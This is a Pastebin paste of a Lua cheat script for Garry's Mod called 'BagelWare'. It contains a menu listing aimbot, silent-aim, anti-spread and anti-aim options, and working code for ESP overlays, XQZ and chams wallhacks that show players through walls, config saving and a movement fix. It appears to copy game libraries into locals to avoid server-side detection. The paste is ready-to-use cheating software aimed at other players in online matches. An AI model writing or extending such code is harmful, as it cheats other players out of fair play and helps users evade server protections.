Advertisement
Guest User

Untitled

a guest
Jul 21st, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 40.44 KB | None | 0 0
  1. local type = type;
  2. local next = next;
  3. salty = {}
  4.  
  5. local function Copy(tt, lt)
  6.     local copy = {}
  7.     if lt then
  8.         if type(tt) == "table" then
  9.             for k,v in next, tt do
  10.                 copy[k] = Copy(k, v)
  11.             end
  12.         else
  13.             copy = lt
  14.         end
  15.         return copy
  16.     end
  17.     if type(tt) != "table" then
  18.         copy = tt
  19.     else
  20.         for k,v in next, tt do
  21.             copy[k] = Copy(k, v)
  22.         end
  23.     end
  24.     return copy
  25. end
  26.  
  27. local surface = Copy(surface);
  28. local vgui = Copy(vgui);
  29. local input = Copy(input);
  30. local Color = Color;
  31. local ScrW, ScrH = ScrW, ScrH;
  32. local gui = Copy(gui);
  33. local math = Copy(math);
  34. local file = Copy(file);
  35. local util = Copy(util);
  36.  
  37. surface.CreateFont("memeyou", {
  38.     font = "Console",
  39.     size = 13,
  40.     weight = 900,
  41.     shadow = true,
  42.     antialias = false,
  43. });
  44.  
  45. surface.CreateFont("memeyou2", {
  46.     font = "Console",
  47.     size = 13,
  48.     weight = 900,
  49.     shadow = false,
  50.     antialias = false,
  51. });
  52.  
  53. local options = {
  54.     ["Ragebot"] = {
  55.         {
  56.             {"Aimbot", 20, 20, 350, 240, 120},
  57.             {"Enabled", "Checkbox", false, 0},
  58.             {"Silent", "Checkbox", false, 0},
  59.             {"pSilent", "Checkbox", false, 0},
  60.             {"Autofire", "Checkbox", false, 0},
  61.             {"Autosnap", "Checkbox", false, 0},
  62.             {"Auto Pistol", "Checkbox", false, 0},
  63.             {"Non-Sticky", "Checkbox", false, 0},
  64.             {"Bullettime", "Checkbox", false, 0},
  65.             {"Rapid Fire", "Checkbox", false, 0},
  66.         },
  67.         {
  68.             {"Target", 20, 280, 350, 180, 120},
  69.             {"Selection", "Selection", "Distance", {"Distance", "Health", "Nextshot"}, 150 },
  70.             {"Bodyaim", "Checkbox", false, 0},
  71.             {"Ignore Bots", "Checkbox", false, 0},
  72.             {"Ignore Team", "Checkbox", false, 0},
  73.             {"Ignore Friends", "Checkbox", false, 0},
  74.             {"Snapline", "Checkbox", false, 0},
  75.         },
  76.         {
  77.             {"Accuracy", 380, 20, 350, 190, 120},
  78.             {"Anti Spread", "Checkbox", false, 0},
  79.             {"Anti Recoil", "Checkbox", false, 0},
  80.             {"BunnyHop", "Checkbox", false, 0},
  81.             {"AutoStrafe", "Checkbox", false, 0},
  82.         },
  83.         {
  84.             {"Anti-Aim", 380, 230, 350, 230, 140},
  85.             {"Enabled", "Checkbox", false, 0},
  86.             {"X", "Selection", "Emotion", {"Up", "Down", "Jitter", "Emotion", "Test"}, 150},
  87.             {"Y", "Selection", "Emotion", {"Forward", "Backwards", "Jitter", "TJitter", "Sideways", "Emotion", "Static", "Test"}, 150},
  88.             {"Max Y", "Slider", 50, 360, 150},
  89.             {"Min Y", "Slider", 0, 360, 150},
  90.             {"Emotion Randomcoin X", "Slider", 50, 100, 150},
  91.             {"Emotion Randomcoin Y", "Slider", 20, 100, 150},
  92.         },
  93.     },
  94.     ["Visuals"] = {
  95.         {
  96.             {"ESP", 20, 20, 350, 240, 220},
  97.             {"Enabled", "Checkbox", false, 54},
  98.             {"Box", "Checkbox", false, 54},
  99.             {"Box Type", "Selection", "2D Box", {"2D Box", "3D Box"}, 68},
  100.             {"Name", "Checkbox", false, 54},
  101.             {"Health", "Checkbox", false, 54},
  102.             {"Weapon", "Checkbox", false, 54},
  103.             {"XQZ", "Checkbox", false, 54},
  104.             {"Chams", "Checkbox", false, 54},
  105.             {"Skeleton", "Checkbox", false, 54},
  106.         },
  107.         {
  108.             {"Filter", 20, 280, 350, 180, 220},
  109.             {"Enemies only", "Checkbox", false, 54},
  110.             {"Distance", "Checkbox", false, 54},
  111.             {"Max Distance", "Slider", 0, 10000, 68},
  112.         },
  113.         {
  114.             {"Misc", 380, 20, 350, 190, 220},
  115.             {"Thirdperson", "Checkbox", false, 54},
  116.         },
  117.     },
  118.     ["Colors"] = {
  119.         {
  120.             {"Box - Team", 20, 20, 250, 175, 130},
  121.             {"R", "Slider", 255, 255, 88},
  122.             {"G", "Slider", 255, 255, 88},
  123.             {"B", "Slider", 0, 255, 88},
  124.         },
  125.         {
  126.             {"Box - Enemy", 20, 205, 250, 175, 130},
  127.             {"R", "Slider", 180, 255, 88},
  128.             {"G", "Slider", 120, 255, 88},
  129.             {"B", "Slider", 0, 255, 88},
  130.         },
  131.         {
  132.             {"Chams - Team", 290, 20, 250, 175, 130},
  133.             {"Visible R", "Slider", 0, 255, 88},
  134.             {"Visible G", "Slider", 255, 255, 88},
  135.             {"Visible B", "Slider", 0, 255, 88},
  136.             {"Not Visible R", "Slider", 0, 255, 88},
  137.             {"Not Visible G", "Slider", 0, 255, 88},
  138.             {"Not Visible B", "Slider", 255, 255, 88},
  139.         },
  140.        
  141.         {
  142.             {"Chams - Enemy", 290, 205, 250, 175, 130},
  143.             {"Visible R", "Slider", 255, 255, 88},
  144.             {"Visible G", "Slider", 0, 255, 88},
  145.             {"Visible B", "Slider", 0, 255, 88},
  146.             {"Not Visible R", "Slider", 180, 255, 88},
  147.             {"Not Visible G", "Slider", 120, 255, 88},
  148.             {"Not Visible B", "Slider", 0, 255, 88},
  149.         },
  150.     },
  151. };
  152.  
  153. local order = {
  154.     "Ragebot",
  155.     "Visuals",
  156.     "Colors",
  157. };
  158.  
  159. local function updatevar( men, sub, lookup, new )
  160.     for aa,aaa in next, options[men] do
  161.         for key, val in next, aaa do
  162.             if(aaa[1][1] != sub) then continue; end
  163.             if(val[1] == lookup) then
  164.                 val[3] = new;
  165.             end
  166.         end
  167.     end
  168. end
  169.  
  170. local function loadconfig()
  171.     if(!file.Exists("$altyConfig.txt", "DATA")) then return; end
  172.     local tab = util.JSONToTable( file.Read("$altyConfig.txt", "DATA") );
  173.     local cursub;
  174.     for k,v in next, tab do
  175.         if(!options[k]) then continue; end
  176.         for men, subtab in next, v do
  177.             for key, val in next, subtab do
  178.                 if(key == 1) then cursub = val[1]; continue; end
  179.                 updatevar(k, cursub, val[1], val[3]);
  180.             end
  181.         end
  182.     end
  183. end
  184.  
  185. local function gBool(men, sub, lookup)
  186.     if(!options[men]) then return; end
  187.     for aa,aaa in next, options[men] do
  188.         for key, val in next, aaa do
  189.             if(aaa[1][1] != sub) then continue; end
  190.             if(val[1] == lookup) then
  191.                 return val[3];
  192.             end
  193.         end
  194.     end
  195. end
  196.  
  197. local function gOption(men, sub, lookup)
  198.     if(!options[men]) then return ""; end
  199.     for aa,aaa in next, options[men] do
  200.         for key, val in next, aaa do
  201.             if(aaa[1][1] != sub) then continue; end
  202.             if(val[1] == lookup) then
  203.                 return val[3];
  204.             end
  205.         end
  206.     end
  207.     return "";
  208. end
  209.  
  210. local function gInt(men, sub, lookup)
  211.     if(!options[men]) then return 0; end
  212.     for aa,aaa in next, options[men] do
  213.         for key, val in next, aaa do
  214.             if(aaa[1][1] != sub) then continue; end
  215.             if(val[1] == lookup) then
  216.                 return val[3];
  217.             end
  218.         end
  219.     end
  220.     return 0;
  221. end
  222.  
  223. local function saveconfig()
  224.     file.Write("$altyConfig.txt", util.TableToJSON(options));
  225. end
  226.  
  227. local mousedown;
  228. local candoslider;
  229. local drawlast;
  230.  
  231. local visible = {};
  232.  
  233. for k,v in next, order do
  234.     visible[v] = false;
  235. end
  236.  
  237. local function DrawBackground(w, h)
  238.     surface.SetDrawColor(255, 255, 255);
  239.     surface.DrawRect(0, 0, w, h);
  240.    
  241.     local curcol = Color(182, 0, 0);
  242.    
  243.     for i = 0, 30 do
  244.         surface.SetDrawColor(curcol);
  245.         curcol.r = curcol.r - 1;
  246.         surface.DrawLine(0, i, w, i);
  247.     end
  248.    
  249.     surface.SetDrawColor(curcol);
  250.    
  251.     surface.SetFont("memeyou");
  252.    
  253.     local tw, th = surface.GetTextSize("$ony");
  254.    
  255.     surface.SetTextPos(5, 15 - th / 2);
  256.    
  257.     surface.SetTextColor(math.random(0,255),math.random(0,255),math.random(0,255));
  258.    
  259.     surface.DrawText("BagelWare - Current License: Lifetime");
  260.    
  261.     surface.DrawRect(0, 31, 5, h - 31);
  262.     surface.DrawRect(0, h - 5, w, h);
  263.     surface.DrawRect(w - 5, 31, 5, h);
  264. end
  265.  
  266. local function MouseInArea(minx, miny, maxx, maxy)
  267.     local mousex, mousey = gui.MousePos();
  268.     return(mousex < maxx && mousex > minx && mousey < maxy && mousey > miny);
  269. end
  270.  
  271. local function DrawOptions(self, w, h)
  272.     local mx, my = self:GetPos();
  273.    
  274.     local sizeper = (w - 10) / #order;
  275.    
  276.     local maxx = 0;
  277.    
  278.     for k,v in next, order do
  279.         local bMouse = MouseInArea(mx + 5 + maxx, my + 31, mx + 5 + maxx + sizeper, my + 31 + 30);
  280.         if(visible[v]) then
  281.             local curcol = Color(0, 0, 0);
  282.             for i = 0, 30 do
  283.                 surface.SetDrawColor(curcol);
  284.                 curcol.r, curcol.g, curcol.b = curcol.r + 3, curcol.g + 3, curcol.b + 3;
  285.                 surface.DrawLine( 5 + maxx, 31 + i, 5 + maxx + sizeper, 31 + i);
  286.             end
  287.         elseif(bMouse) then
  288.             local curcol = Color(124, 124, 124);
  289.             for i = 0, 30 do
  290.                 surface.SetDrawColor(curcol);
  291.                 curcol.r, curcol.g, curcol.b = curcol.r - 1.7, curcol.g - 1.7, curcol.b - 1.7;
  292.                 surface.DrawLine( 5 + maxx, 31 + i, 5 + maxx + sizeper, 31 + i);
  293.             end
  294.         else
  295.             local curcol = Color(51, 51, 51);
  296.             for i = 0, 30 do
  297.                 surface.SetDrawColor(curcol);
  298.                 curcol.r, curcol.g, curcol.b = curcol.r - 1.7, curcol.g - 1.7, curcol.b - 1.7;
  299.                 surface.DrawLine( 5 + maxx, 31 + i, 5 + maxx + sizeper, 31 + i);
  300.             end
  301.         end
  302.         if(bMouse && input.IsMouseDown(MOUSE_LEFT) && !mousedown && !visible[v]) then
  303.             local nb = visible[v];
  304.             for key,val in next, visible do
  305.                 visible[key] = false;
  306.             end
  307.             visible[v] = !nb;
  308.         end
  309.         surface.SetFont("memeyou2");
  310.         surface.SetTextColor(255, 255, 255);
  311.         local tw, th = surface.GetTextSize(v);
  312.         surface.SetTextPos( 5 + maxx + sizeper / 2 - tw / 2, 31 + 15 - th / 2 );
  313.         surface.DrawText(v);
  314.         maxx = maxx + sizeper;
  315.     end
  316. end
  317.  
  318. local function DrawCheckbox(self, w, h, var, maxy, posx, posy, dist)
  319.     surface.SetFont("memeyou2");
  320.     surface.SetTextColor(0, 0, 0);
  321.     surface.SetTextPos( 5 + posx + 15 + 5, 61 + posy + maxy );
  322.     local tw, th = surface.GetTextSize(var[1]);
  323.     surface.DrawText(var[1]);
  324.    
  325.     surface.SetDrawColor(163, 163, 163);
  326.    
  327.     surface.DrawOutlinedRect( 5 + posx + 15 + 5 + dist + var[4], 61 + posy + maxy + 2, 14, 14);
  328.    
  329.     local mx, my = self:GetPos();
  330.    
  331.     local bMouse = MouseInArea(mx + 5 + posx + 15 + 5, my + 61 + posy + maxy, mx + 5 + posx + 15 + 5 + dist + 14 + var[4], my + 61 + posy + maxy + 16);
  332.    
  333.     if(bMouse) then
  334.         surface.DrawRect( 5 + posx + 15 + 5 + dist + 2 + var[4], 61 + posy + maxy + 4, 10, 10);
  335.     end
  336.    
  337.     if(var[3]) then
  338.         surface.SetDrawColor(184, 0, 0);
  339.         surface.DrawRect( 5 + posx + 15 + 5 + dist + 2 + var[4], 61 + posy + maxy + 4, 10, 10);
  340.         surface.SetDrawColor(93, 0, 0);
  341.         surface.DrawOutlinedRect( 5 + posx + 15 + 5 + dist + 2 + var[4], 61 + posy + maxy + 4, 10, 10);
  342.     end
  343.    
  344.     if(bMouse && input.IsMouseDown(MOUSE_LEFT) && !mousedown && !drawlast) then
  345.         var[3] = !var[3];
  346.     end
  347. end
  348.  
  349. local function DrawSlider(self, w, h, var, maxy, posx, posy, dist)
  350.     local curnum = var[3];
  351.     local max = var[4];
  352.     local size = var[5];
  353.     surface.SetFont("memeyou2");
  354.     surface.SetTextColor(0, 0, 0);
  355.     surface.SetTextPos( 5 + posx + 15 + 5, 61 + posy + maxy );
  356.     surface.DrawText(var[1]);
  357.    
  358.     local tw, th = surface.GetTextSize(var[1]);
  359.    
  360.     surface.SetDrawColor(163, 163, 163);
  361.    
  362.     surface.DrawRect( 5 + posx + 15 + 5 + dist, 61 + posy + maxy + 9, size, 2);
  363.    
  364.     local ww = math.ceil(curnum * size / max);
  365.    
  366.     surface.SetDrawColor(184, 0, 0);
  367.    
  368.     surface.DrawRect( 3 + posx + 15 + 5 + dist + ww, 61 + posy + maxy + 9 - 5, 4, 12);
  369.    
  370.     surface.SetDrawColor(93, 0, 0);
  371.    
  372.     local tw, th = surface.GetTextSize(curnum..".00");
  373.    
  374.     surface.DrawOutlinedRect( 3 + posx + 15 + 5 + dist + ww, 61 + posy + maxy + 4, 4, 12);
  375.    
  376.     surface.SetTextPos( 5 + posx + 15 + 5 + dist + (size / 2) - tw / 2, 61 + posy + maxy + 16);
  377.    
  378.     surface.DrawText(curnum..".00");
  379.    
  380.     local mx, my = self:GetPos();
  381.    
  382.     local bMouse = MouseInArea(5 + posx + 15 + 5 + dist + mx, 61 + posy + maxy + 9 - 5 + my, 5 + posx + 15 + 5 + dist + mx + size, 61 + posy + maxy + 9 - 5 + my + 12);
  383.    
  384.     if(bMouse && input.IsMouseDown(MOUSE_LEFT) && !drawlast && !candoslider) then
  385.         local mw, mh = gui.MousePos();
  386.    
  387.         local new = math.ceil( ((mw - (mx + posx + 25 + dist - size)) - (size + 1)) / (size - 2) * max);
  388.         var[3] = new;
  389.     end
  390. end
  391.  
  392. local notyetselected;
  393.  
  394. local function DrawSelect(self, w, h, var, maxy, posx, posy, dist)
  395.  
  396.     local size = var[5];
  397.     local curopt = var[3];
  398.    
  399.     surface.SetFont("memeyou2");
  400.     surface.SetTextColor(0, 0, 0);
  401.     surface.SetTextPos( 5 + posx + 15 + 5, 61 + posy + maxy );
  402.     local tw, th = surface.GetTextSize(var[1]);
  403.     surface.DrawText(var[1]);
  404.    
  405.     surface.SetDrawColor(163, 163, 163);
  406.    
  407.     surface.DrawOutlinedRect( 25 + posx + dist, 61 + posy + maxy, size, 16);
  408.    
  409.     local mx, my = self:GetPos();
  410.    
  411.     local bMouse = MouseInArea( mx + 25 + posx + dist, my + 61 + posy + maxy, mx + 25 + posx + dist + size, my + 61 + posy + maxy + 16)
  412.    
  413.     local check = dist..posy..posx..w..h..maxy;
  414.    
  415.     if(bMouse || notyetselected == check) then
  416.        
  417.         surface.DrawRect(25 + posx + dist + 2, 61 + posy + maxy + 2, size - 4, 12);
  418.        
  419.     end
  420.    
  421.     local tw, th = surface.GetTextSize(curopt);
  422.    
  423.     surface.SetTextPos( 25 + posx + dist + 5, 61 + posy + maxy + 6 - th / 2 + 2);
  424.    
  425.     surface.DrawText(curopt);
  426.    
  427.     if(bMouse && input.IsMouseDown(MOUSE_LEFT) && !drawlast && !mousedown || notyetselected == check) then
  428.         notyetselected = check;
  429.         drawlast = function()
  430.             local maxy2 = 16;
  431.             for k,v in next, var[4] do
  432.                 surface.SetDrawColor(163, 163, 163);
  433.                 surface.DrawRect( 25 + posx + dist, 61 + posy + maxy + maxy2, size, 16);
  434.                 local bMouse2 = MouseInArea( mx + 25 + posx + dist, my + 61 + posy + maxy + maxy2, mx + 25 + posx + dist + size, my + 61 + posy + maxy + 16 + maxy2)
  435.                 if(bMouse2) then
  436.                     surface.SetDrawColor(200, 200, 200);
  437.                     surface.DrawRect( 25 + posx + dist, 61 + posy + maxy + maxy2, size, 16);
  438.                 end
  439.                 local tw, th = surface.GetTextSize(v);
  440.                 surface.SetTextPos( 25 + posx + dist + 5, 61 + posy + maxy + 6 - th / 2 + 2 + maxy2);
  441.                 surface.DrawText(v);
  442.                 maxy2 = maxy2 + 16;
  443.                 if(bMouse2 && input.IsMouseDown(MOUSE_LEFT) && !mousedown) then
  444.                     var[3] = v;
  445.                     notyetselected = nil;
  446.                     drawlast = nil;
  447.                     return;
  448.                 end
  449.             end
  450.             local bbMouse = MouseInArea( mx + 25 + posx + dist, my + 61 + posy + maxy, mx + 25 + posx + dist + size, my + 61 + posy + maxy + maxy2);
  451.             if(!bbMouse && input.IsMouseDown(MOUSE_LEFT) && !mousedown) then
  452.                  notyetselected = nil;
  453.                  drawlast = nil;
  454.                  return;
  455.             end
  456.         end
  457.     end
  458.    
  459.    
  460. end
  461.  
  462. local function DrawSubSub(self, w, h, k, var)
  463.     local opt, posx, posy, sizex, sizey, dist = var[1][1], var[1][2], var[1][3], var[1][4], var[1][5], var[1][6];
  464.    
  465.     surface.SetDrawColor(163, 163, 163);
  466.    
  467.     local startpos = 61 + posy;
  468.    
  469.     surface.SetTextColor(0, 0, 0);
  470.    
  471.     surface.SetFont("memeyou2");
  472.    
  473.     local tw, th = surface.GetTextSize(opt);
  474.    
  475.     surface.DrawLine( 5 + posx, startpos, 5 + posx + 15, startpos);
  476.    
  477.     surface.SetTextPos( 5 + posx + 15 + 5, startpos - th / 2 );
  478.    
  479.     surface.DrawLine( 5 + posx + 15 + 5 + tw + 5, startpos, 5 + posx + sizex, startpos);
  480.    
  481.     surface.DrawLine( 5 + posx, startpos, 5 + posx, startpos + sizey);
  482.    
  483.     surface.DrawLine(5 + posx, startpos + sizey, 5 + posx + sizex, startpos + sizey );
  484.    
  485.     surface.DrawLine( 5 + posx + sizex, startpos, 5 + posx + sizex, startpos + sizey);
  486.    
  487.     surface.DrawText(opt);
  488.    
  489.     local maxy = 15;
  490.    
  491.     for k,v in next, var do
  492.         if(k == 1) then continue; end
  493.         if(v[2] == "Checkbox") then
  494.             DrawCheckbox(self, w, h, v, maxy, posx, posy, dist);
  495.         elseif(v[2] == "Slider") then
  496.             DrawSlider(self, w, h, v, maxy, posx, posy, dist);
  497.         elseif(v[2] == "Selection") then
  498.             DrawSelect(self, w, h, v, maxy, posx, posy, dist);
  499.         end
  500.         maxy = maxy + 25;
  501.     end
  502. end
  503.  
  504. local function DrawSub(self, w, h)
  505.     for k, v in next, visible do
  506.         if(!v) then continue; end
  507.         for _, var in next, options[k] do
  508.             DrawSubSub(self, w, h, k, var);
  509.         end
  510.     end
  511. end
  512.  
  513. local function DrawSaveButton(self, w, h)
  514.     local curcol = Color(235, 235, 235);
  515.     local mx, my = self:GetPos();
  516.     local bMouse = MouseInArea(mx + 30, my + h - 50, mx + 30 + 200, my + h - 50 + 30);
  517.     if(bMouse) then
  518.         curcol = Color(200, 200, 200);
  519.     end
  520.     for i = 0, 30 do
  521.         surface.SetDrawColor(curcol);
  522.         surface.DrawLine( 30, h - 50 + i, 30 + 200, h - 50 + i );
  523.         for k,v in next, curcol do
  524.             curcol[k] = curcol[k] - 2;
  525.         end
  526.     end
  527.     surface.SetFont("memeyou2");
  528.     surface.SetTextColor(0, 0, 0);
  529.     local tw, th = surface.GetTextSize("Save Configuration");
  530.     surface.SetTextPos( 30 + 100 - tw / 2, h - 50 + 15 - th / 2 );
  531.     surface.DrawText("Save Configuration");
  532.     if(bMouse && input.IsMouseDown(MOUSE_LEFT)) then
  533.         saveconfig();
  534.     end
  535. end
  536.  
  537. local function DrawLoadButton(self, w, h)
  538.     local curcol = Color(235, 235, 235);
  539.     local mx, my = self:GetPos();
  540.     local bMouse = MouseInArea(mx + 250, my + h - 50, mx + 250 + 200, my + h - 50 + 30);
  541.     if(bMouse) then
  542.         curcol = Color(200, 200, 200);
  543.     end
  544.     for i = 0, 30 do
  545.         surface.SetDrawColor(curcol);
  546.         surface.DrawLine( 250, h - 50 + i, 250 + 200, h - 50 + i );
  547.         for k,v in next, curcol do
  548.             curcol[k] = curcol[k] - 2;
  549.         end
  550.     end
  551.     surface.SetFont("memeyou2");
  552.     surface.SetTextColor(0, 0, 0);
  553.     local tw, th = surface.GetTextSize("Load Configuration");
  554.     surface.SetTextPos( 250 + 100 - tw / 2, h - 50 + 15 - th / 2 );
  555.     surface.DrawText("Load Configuration");
  556.     if(bMouse && input.IsMouseDown(MOUSE_LEFT)) then
  557.         loadconfig();
  558.     end
  559. end
  560.  
  561. loadconfig();
  562.  
  563. local insertdown2, insertdown, menuopen;
  564.  
  565. local function menu()
  566.     local frame = vgui.Create("DFrame");
  567.     frame:SetSize(800, 600);
  568.     frame:Center();
  569.     frame:SetTitle("");
  570.     frame:MakePopup();
  571.     frame:ShowCloseButton(false);
  572.    
  573.     frame.Paint = function(self, w, h)
  574.         if(candoslider && !mousedown && !drawlast && !input.IsMouseDown(MOUSE_LEFT)) then
  575.             candoslider = false;
  576.         end
  577.         DrawBackground(w, h);
  578.         DrawOptions(self, w, h);
  579.         DrawSub(self, w, h);
  580.         DrawSaveButton(self, w, h);
  581.         DrawLoadButton(self, w, h);
  582.         if(drawlast) then
  583.             drawlast();
  584.             candoslider = true;
  585.         end
  586.         mousedown = input.IsMouseDown(MOUSE_LEFT);
  587.     end
  588.    
  589.     frame.Think = function()
  590.         if (input.IsKeyDown(KEY_INSERT) && !insertdown2) then
  591.             frame:Remove();
  592.             menuopen = false;
  593.             candoslider = false;
  594.             drawlast = nil;
  595.         end
  596.     end
  597. end
  598.  
  599. local function Think()
  600.     if (input.IsKeyDown(KEY_INSERT) && !menuopen && !insertdown) then
  601.         menuopen = true;
  602.         insertdown = true;
  603.         menu();
  604.     elseif (!input.IsKeyDown(KEY_INSERT) && !menuopen) then
  605.         insertdown = false;
  606.     end
  607.     if (input.IsKeyDown(KEY_INSERT) && insertdown && menuopen) then
  608.         insertdown2 = true;
  609.     else
  610.         insertdown2 = false;
  611.     end
  612. end
  613.  
  614. hook.Add("Think", "", Think);
  615.  
  616. --[[
  617. Actual codens
  618. ]]
  619.  
  620. local FindMetaTable = FindMetaTable;
  621.  
  622. local em = FindMetaTable"Entity";
  623. local pm = FindMetaTable"Player";
  624. local cm = FindMetaTable"CUserCmd";
  625. local wm = FindMetaTable"Weapon";
  626. local am = FindMetaTable"Angle";
  627. local vm = FindMetaTable"Vector";
  628.  
  629. local Vector = Vector;
  630. local player = Copy(player);
  631. local Angle = Angle;
  632. local me = LocalPlayer();
  633. local render = Copy(render);
  634. local cma = Copy(cam);
  635. local Material = Material;
  636. local CreateMaterial = CreateMaterial;
  637.  
  638. --[[
  639. esp
  640. ]]
  641.  
  642. local function Filter(v)
  643.     local enemy = gBool("Visuals", "Filter", "Enemies only");
  644.     local dist = gBool("Visuals", "Filter", "Distance")
  645.     if(enemy) then
  646.         if(pm.Team(v) == pm.Team(me)) then return false; end
  647.     end
  648.     if(dist) then
  649.         local maxdist = gBool("Visuals", "Filter", "Max Distance");
  650.         if( vm.Distance( em.GetPos(v), em.GetPos(me) ) > (maxdist * 5) ) then return false; end
  651.     end
  652.     return true;
  653. end
  654.  
  655.  
  656. local chamsmat = CreateMaterial("a", "VertexLitGeneric", {
  657.     ["$ignorez"] = 1,
  658.     ["$model"] = 1,
  659.     ["$basetexture"] = "models/debug/debugwhite",
  660. });
  661.  
  662. local chamsmat2 = CreateMaterial("@", "vertexlitgeneric", {
  663.     ["$ignorez"] = 0,
  664.     ["$model"] = 1,
  665.     ["$basetexture"] = "models/debug/debugwhite",
  666. });
  667.  
  668. local function GetChamsColor(v, vis)
  669.     local pre = "Chams - Enemy";
  670.     if(pm.Team(v) == pm.Team(me)) then
  671.         pre = "Chams - Team";
  672.     end
  673.     if(vis) then
  674.         local r = gInt("Colors", pre, "Visible R") / 255;
  675.         local g = gInt("Colors", pre, "Visible G") / 255;
  676.         local b = gInt("Colors", pre, "Visible B") / 255;
  677.         return r,g,b;
  678.     end
  679.     local r = gInt("Colors", pre, "Not Visible R") / 255;
  680.     local g = gInt("Colors", pre, "Not Visible G") / 255;
  681.     local b = gInt("Colors", pre, "Not Visible B") / 255;
  682.     return r,g,b;
  683. end
  684.  
  685. local function Chams(v)
  686.     if(gBool("Visuals", "ESP", "XQZ")) then
  687.         cam.Start3D();
  688.             cam.IgnoreZ(true);
  689.             em.DrawModel(v);
  690.             cam.IgnoreZ(false);
  691.         cam.End3D();
  692.     end
  693.     if(gBool("Visuals", "ESP", "Chams")) then
  694.         cam.Start3D();
  695.            
  696.             render.MaterialOverride(chamsmat);
  697.             render.SetColorModulation(GetChamsColor(v));
  698.                
  699.             em.DrawModel(v);
  700.                
  701.             render.SetColorModulation(GetChamsColor(v, true));
  702.             render.MaterialOverride(chamsmat2);
  703.                
  704.             em.DrawModel(v);
  705.            
  706.         cam.End3D();
  707.     end
  708. end
  709.  
  710. local function GetColor(v)
  711.     if(pm.Team(v) == pm.Team(me)) then
  712.         local r = gInt("Colors", "Box - Team", "R");
  713.         local g = gInt("Colors", "Box - Team", "G");
  714.         local b = gInt("Colors", "Box - Team", "B");
  715.         return(Color(r, g, b, 220));
  716.     end
  717.     local r = gInt("Colors", "Box - Enemy", "R");
  718.     local g = gInt("Colors", "Box - Enemy", "G");
  719.     local b = gInt("Colors", "Box - Enemy", "B");
  720.     return(Color(r, g, b, 220));
  721. end
  722.  
  723. local function ESP(v)
  724.     local pos = em.GetPos(v);
  725.     local pos, pos2 = vm.ToScreen(pos - Vector(0, 0, 5)), vm.ToScreen( pos + Vector(0, 0, 70 ) );
  726.     local h = pos.y - pos2.y;
  727.     local w = h / 2.2;
  728.     if(gBool("Visuals", "ESP", "Box") && gOption("Visuals", "ESP", "Box Type") == "2D Box") then   
  729.        
  730.         surface.SetDrawColor(GetColor(v));
  731.         surface.DrawOutlinedRect( pos.x - w / 2, pos.y - h, w, h);
  732.         surface.SetDrawColor(0, 0, 0, 220);
  733.         surface.DrawOutlinedRect( pos.x - w / 2 - 1, pos.y - h - 1, w + 2, h + 2);
  734.         surface.DrawOutlinedRect( pos.x - w / 2 + 1, pos.y - h + 1, w - 2, h - 2);
  735.        
  736.     end
  737.    
  738.     if(gBool("Visuals", "ESP", "Health")) then
  739.         local hp = em.Health(v) * h / 100;
  740.         if(hp > h) then hp = h; end
  741.         local diff = h - hp;
  742.         surface.SetDrawColor(0, 0, 0, 255);
  743.         surface.DrawRect(pos.x - w / 2 - 5, pos.y - h - 1, 3, h + 2);
  744.         surface.SetDrawColor( ( 100 - em.Health(v) ) * 2.55, em.Health(v) * 2.55, 0, 255);
  745.         surface.DrawRect(pos.x - w / 2 - 4, pos.y - h + diff, 1, hp);
  746.     end
  747.  
  748.        
  749.     surface.SetFont("BudgetLabel");
  750.    
  751.     surface.SetTextColor(255, 255, 255);
  752.    
  753.     if(gBool("Visuals", "ESP", "Name")) then
  754.    
  755.         local tw, th = surface.GetTextSize(pm.Name(v));
  756.        
  757.         surface.SetTextPos( pos.x - tw / 2, pos.y - h + 2 - th );
  758.        
  759.         surface.DrawText(pm.Name(v));
  760.        
  761.     end
  762.    
  763.     if(gBool("Visuals", "ESP", "Weapon")) then
  764.        
  765.         local w = pm.GetActiveWeapon(v);
  766.         if(w && em.IsValid(w)) then
  767.             local tw,  th = surface.GetTextSize(em.GetClass(w));
  768.             surface.SetTextPos( pos.x - tw / 2, pos.y - th / 2 + 5 );
  769.             surface.DrawText(em.GetClass(w));
  770.         end
  771.        
  772.     end
  773.    
  774.     if(gBool("Visuals", "ESP", "Skeleton")) then
  775.         local origin = em.GetPos(v);
  776.         for i = 1, em.GetBoneCount(v) do
  777.             local parent = em.GetBoneParent(v, i);
  778.             if(!parent) then continue; end
  779.             local bonepos, parentpos = em.GetBonePosition(v, i), em.GetBonePosition(v, parent);
  780.             if(!bonepos || !parentpos || bonepos == origin) then continue; end
  781.             local bs, ps = vm.ToScreen(bonepos), vm.ToScreen(parentpos);
  782.             surface.SetDrawColor(255, 255, 255);
  783.             surface.DrawLine(bs.x, bs.y, ps.x, ps.y);
  784.         end
  785.     end
  786.    
  787. end
  788.  
  789. local aimtarget;
  790.  
  791.  
  792. hook.Add("HUDPaint", "", function()
  793.     if(aimtarget && gBool("Ragebot", "Target", "Snapline")) then
  794.         local pos = vm.ToScreen(em.LocalToWorld(aimtarget, em.OBBCenter(aimtarget)));
  795.         surface.SetDrawColor(255, 255, 255);
  796.         surface.DrawLine(ScrW() / 2, ScrH() / 2, pos.x, pos.y);
  797.     end
  798.     if(!gBool("Visuals", "ESP", "Enabled")) then return; end
  799.     for k,v in next, player.GetAll() do
  800.         if(!em.IsValid(v) || em.Health(v) < 1 || v == me || em.IsDormant(v)) then continue; end
  801.         if(!Filter(v)) then continue; end
  802.         ESP(v);
  803.     end
  804. end);
  805.  
  806. hook.Add("RenderScreenspaceEffects", "", function()
  807.     if(!gBool("Visuals", "ESP", "Enabled")) then return; end
  808.     for k,v in next, player.GetAll() do
  809.         if(!em.IsValid(v) || em.Health(v) < 1 || v == me || em.IsDormant(v)) then continue; end
  810.         if(!Filter(v)) then continue; end
  811.         Chams(v);
  812.     end
  813. end);
  814.  
  815. saveconfig();
  816.  
  817. --[[
  818. memes
  819. ]]
  820.  
  821. local fa;
  822. local aa;
  823.  
  824. local function FixMovement(pCmd)
  825.     local vec = Vector(cm.GetForwardMove(pCmd), cm.GetSideMove(pCmd), 0)
  826.     local vel = math.sqrt(vec.x*vec.x + vec.y*vec.y)
  827.     local mang = vm.Angle(vec)
  828.     local yaw = cm.GetViewAngles(pCmd).y - fa.y + mang.y
  829.     if (((cm.GetViewAngles(pCmd).p+90)%360) > 180) then
  830.     yaw = 180 - yaw
  831.     end
  832.     yaw = ((yaw + 180)%360)-180
  833.     pCmd:SetForwardMove(math.cos(math.rad(yaw)) * vel)
  834.     pCmd:SetSideMove(math.sin(math.rad(yaw)) * vel)
  835. end
  836.  
